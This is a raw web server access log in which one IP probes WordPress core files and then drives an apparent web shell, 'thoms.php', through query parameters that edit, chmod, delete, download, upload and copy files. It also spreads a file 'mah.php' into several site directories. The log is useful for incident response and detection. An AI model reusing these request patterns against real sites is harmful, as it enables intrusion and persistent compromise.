45.135.193.11 - - [11/Sep/2026:23:38:59 -0400] "GET /bestjudy.com.tw/wp-includes/class-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-icon-collections-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-customize-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-http-requests-hooks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/ms-default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/ai-client/ HTTP/1.1" 200 910 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-http-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/rss-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/style-engine/ HTTP/1.1" 200 910 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-paused-extensions-storage.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-walker.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-xmlrpc-server.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/general-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/blocks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-oembed-controller.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-theme-json-resolver.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/ms-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/pluggable-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-post-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/default-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/feed-rss2-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/atomlib.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/ms-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/interactivity-api/ HTTP/1.1" 200 947 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-walker-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-parser-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-hook.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-recovery-mode-link-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-view-config-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/comment-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/block-supports/ HTTP/1.1" 200 1829 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-phpass.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/icons.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-classic-to-block-menu-converter.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-image-editor-gd.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/script-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/sodium_compat/ HTTP/1.1" 200 1324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/robots-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/author-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:00 -0400] "GET /bestjudy.com.tw/wp-includes/class-walker-page.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?edit=wp-trackback.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 17438 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?edit=wp-trackback.php&p=bestjudy.com.tw HTTP/1.1" 200 13867 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?chmod=admin.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?del=admin.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13273 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /bestjudy.com.tw/static-plugins/index.php HTTP/1.1" 200 6366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins&upload= HTTP/1.1" 200 12184 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fstatic-plugins&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?chmod=profile.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?dl=profile.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13288 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins%2Findex.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins%2Findex.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins&view=license.txt HTTP/1.1" 200 11909 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fstatic-plugins&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins&view=admin.php HTTP/1.1" 200 16586 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fstatic-plugins&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?chmod=index.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?chmod=license.txt&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins%2Fadmin.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins%2Fadmin.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:01 -0400] "GET /thoms.php?del=index.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13288 "http://163.245.207.76:443/thoms.php?del=index.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?dl=license.txt&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13288 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?dl=admin.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13287 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?del=license.txt&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13270 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins%2Flicense.txt&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins%2Flicense.txt&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins%2Fprofile.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins%2Fprofile.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins&view=profile.php HTTP/1.1" 200 11832 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fstatic-plugins&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?del=profile.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13263 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /bestjudy.com.tw/static-plugins HTTP/1.1" 301 795 "http://163.245.207.76:443/bestjudy.com.tw/static-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins&view=index.php HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fstatic-plugins&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /bestjudy.com.tw/static-plugins/ HTTP/1.1" 200 6354 "https://163.245.207.76:443/bestjudy.com.tw/static-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?dl=index.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13288 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /bestjudy.com.tw/static-plugins/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins&settings=1 HTTP/1.1" 200 11916 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fstatic-plugins&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /bestjudy.com.tw/static-plugins/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /bestjudy.com.tw/static-plugins/admin.php HTTP/1.1" 200 985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&p= HTTP/1.1" 200 12391 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11402 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:02 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17416 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
